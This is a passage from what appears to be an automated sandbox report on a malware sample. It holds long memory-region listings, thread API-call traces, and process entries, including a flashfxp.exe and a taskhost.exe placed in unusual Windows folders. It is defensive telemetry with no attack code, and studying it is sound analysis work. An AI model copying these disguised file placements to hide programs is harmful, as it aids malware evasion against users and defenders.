0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 6191 start_va = 0x900000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 6192 start_va = 0x910000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 6193 start_va = 0x920000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 6194 start_va = 0x930000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 6195 start_va = 0x940000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 6196 start_va = 0x9d0000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 6197 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 6198 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 6199 start_va = 0xa40000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 6200 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 6201 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 6202 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 6203 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 6204 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 6205 start_va = 0x2060000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 6206 start_va = 0x20f0000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 6207 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6208 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 6209 start_va = 0x7fe909d0000 end_va = 0x7fe909dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909d0000" filename = "" Region: id = 6210 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6211 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 6212 start_va = 0x8f0000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 6213 start_va = 0x900000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 6214 start_va = 0x910000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 6215 start_va = 0x920000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 6216 start_va = 0x930000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 6217 start_va = 0x940000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 6218 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6219 start_va = 0x1adf0000 end_va = 0x1ae2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adf0000" filename = "" Region: id = 6220 start_va = 0x1ae90000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae90000" filename = "" Region: id = 6221 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 6222 start_va = 0x7fef0990000 end_va = 0x7fef1404fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\0d59b0e237d7519417de10cd84bda4e7\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\0d59b0e237d7519417de10cd84bda4e7\\system.core.ni.dll") Region: id = 6223 start_va = 0x7fef3220000 end_va = 0x7fef3352fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\4beb1eeca20b27d4bd1bb9880f03cc2a\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.configuration\\4beb1eeca20b27d4bd1bb9880f03cc2a\\system.configuration.ni.dll") Region: id = 6224 start_va = 0x7feec2a0000 end_va = 0x7feecb4afff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\5ee35debfc22f727e70e4479ddcbc045\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml\\5ee35debfc22f727e70e4479ddcbc045\\system.xml.ni.dll") Region: id = 6251 start_va = 0x7fefd6f0000 end_va = 0x7fefe477fff monitored = 0 entry_point = 0x7fefd76cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 6252 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 6253 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Thread: id = 276 os_tid = 0xd68 [0182.874] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0183.515] EtwEventRegister (in: ProviderId=0x2245870, EnableCallback=0x1b0c135c, CallbackContext=0x0, RegHandle=0x2245850 | out: RegHandle=0x2245850) returned 0x0 [0183.572] EtwEventRegister (in: ProviderId=0x2249ff8, EnableCallback=0x1b0c13ac, CallbackContext=0x0, RegHandle=0x2249fd8 | out: RegHandle=0x2249fd8) returned 0x0 [0183.702] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x204e80*=0xd8, lpdwindex=0x17e2b4 | out: lpdwindex=0x17e2b4) returned 0x0 [0184.757] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a6f4ac0*=0x244, lpdwindex=0x17dfa4 | out: lpdwindex=0x17dfa4) returned 0x0 [0184.853] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x204e80*=0xd8, lpdwindex=0x17e2b4) Thread: id = 277 os_tid = 0xd50 Thread: id = 278 os_tid = 0xd54 [0182.997] CoGetContextToken (in: pToken=0x1a91f6f0 | out: pToken=0x1a91f6f0) returned 0x800401f0 [0182.997] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 279 os_tid = 0xd60 Thread: id = 282 os_tid = 0xd4c [0183.625] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0183.626] CoGetContextToken (in: pToken=0x1b03f580 | out: pToken=0x1b03f580) returned 0x0 [0183.626] CObjectContext::QueryInterface () returned 0x0 [0183.626] CObjectContext::GetCurrentThreadType () returned 0x0 [0183.626] Release () returned 0x0 [0183.626] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0183.627] CoUninitialize () [0184.201] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b03d9a8 | out: phkResult=0x1b03d9a8*=0x0) returned 0x2 [0184.201] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0184.207] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\taskhost.exe", nBufferLength=0x105, lpBuffer=0x1b03e4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\taskhost.exe", lpFilePart=0x0) returned 0x32 Thread: id = 283 os_tid = 0xd48 Thread: id = 284 os_tid = 0xd44 Thread: id = 285 os_tid = 0xe00 Thread: id = 286 os_tid = 0xd2c Thread: id = 288 os_tid = 0xe0c [0184.758] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0184.759] CoGetContextToken (in: pToken=0x1bb0fb00 | out: pToken=0x1bb0fb00) returned 0x0 [0184.759] CObjectContext::QueryInterface () returned 0x0 [0184.759] CObjectContext::GetCurrentThreadType () returned 0x0 [0184.759] Release () returned 0x0 [0184.759] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0184.760] CoUninitialize () [0185.901] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1f4 [0185.903] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x248 [0185.968] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb0d188 | out: phkResult=0x1bb0d188*=0x254) returned 0x0 [0185.970] RegQueryValueExW (in: hKey=0x254, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1bb0d1d8, lpData=0x0, lpcbData=0x1bb0d1d0*=0x0 | out: lpType=0x1bb0d1d8*=0x1, lpData=0x0, lpcbData=0x1bb0d1d0*=0xe) returned 0x0 [0185.971] RegQueryValueExW (in: hKey=0x254, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1bb0d1d8, lpData=0x22a0ce8, lpcbData=0x1bb0d1d0*=0xe | out: lpType=0x1bb0d1d8*=0x1, lpData="Client", lpcbData=0x1bb0d1d0*=0xe) returned 0x0 [0185.973] RegCloseKey (hKey=0x254) returned 0x0 [0187.573] GetCurrentProcess () returned 0xffffffffffffffff [0187.573] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1bb0cb48 | out: TokenHandle=0x1bb0cb48*=0x254) returned 1 [0187.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1bb0c560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0187.584] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1bb0cbf0 | out: lpFileInformation=0x1bb0cbf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0187.585] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1bb0c580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0187.587] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1bb0cbe8 | out: lpFileInformation=0x1bb0cbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0187.595] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1bb0c570, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0187.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb0ca88) returned 1 [0187.596] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0187.597] GetFileType (hFile=0x258) returned 0x1 [0187.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb0c9f8) returned 1 [0187.597] GetFileType (hFile=0x258) returned 0x1 [0187.673] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1bb0b390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0187.674] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1bb0b4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0187.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb0b6d8) returned 1 [0187.674] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1bb0ba00 | out: lpFileInformation=0x1bb0ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0187.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb0b688) returned 1 Thread: id = 289 os_tid = 0xe14 Process: id = "74" image_name = "flashfxp.exe" filename = "c:\\users\\default user\\flashfxp.exe" page_root = "0x3d8f9000" os_pid = "0xb78" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "\"C:\\Users\\Default User\\flashfxp.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6227 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 6228 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6229 start_va = 0x80000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 6230 start_va = 0x230000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 6231 start_va = 0xe20000 end_va = 0xef5fff monitored = 1 entry_point = 0xeed67e region_type = mapped_file name = "flashfxp.exe" filename = "\\Users\\Default\\flashfxp.exe" (normalized: "c:\\users\\default\\flashfxp.exe") Region: id = 6232 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6233 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 6234 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6235 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 6236 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 6237 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 6238 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 6239 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 6240 start_va = 0x180000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 6241 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 6242 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6243 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6244 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6245 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 6246 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 6247 start_va = 0x330000 end_va = 0x396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6248 start_va = 0x3a0000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 6249 start_va = 0x490000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6250 start_va = 0x590000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Thread: id = 290 os_tid = 0xe34 Thread: id = 292 os_tid = 0xe10 Process: id = "75" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x96e9000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c5c1" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 6502 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6503 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 6504 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6505 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 6506 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6507 start_va = 0xc0000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 6508 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 6509 start_va = 0x190000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 6510 start_va = 0x210000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 6511 start_va = 0x310000 end_va = 0x310fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 6512 start_va = 0x320000 end_va = 0x32cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 6513 start_va = 0x330000 end_va = 0x330fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 6514 start_va = 0x340000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 6515 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6516 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6517 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6518 start_va = 0x470000 end_va = 0x471fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6519 start_va = 0x480000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6520 start_va = 0x500000 end_va = 0x501fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 6521 start_va = 0x510000 end_va = 0x511fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 6522 start_va = 0x520000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 6523 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 6524 start_va = 0x5b0000 end_va = 0x737fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 6525 start_va = 0x740000 end_va = 0x8c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 6526 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 6527 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 6528 start_va = 0x8f0000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 6529 start_va = 0x970000 end_va = 0x970fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 6530 start_va = 0xa00000 end_va = 0xa1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rasdlg.dll.mui" filename = "\\Windows\\System32\\en-US\\rasdlg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rasdlg.dll.mui") Region: id = 6531 start_va = 0xa20000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 6532 start_va = 0xaa0000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 6533 start_va = 0xba0000 end_va = 0xe6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6534 start_va = 0xe80000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 6535 start_va = 0xf30000 end_va = 0xf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 6536 start_va = 0xfd0000 end_va = 0x104ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 6537 start_va = 0x1080000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 6538 start_va = 0x1130000 end_va = 0x11affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 6539 start_va = 0x1210000 end_va = 0x128ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 6540 start_va = 0x12c0000 end_va = 0x133ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 6541 start_va = 0x13d0000 end_va = 0x13dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 6542 start_va = 0x14c0000 end_va = 0x153ffff monitored = 1 entry_point = 0x0 region_type = private name = 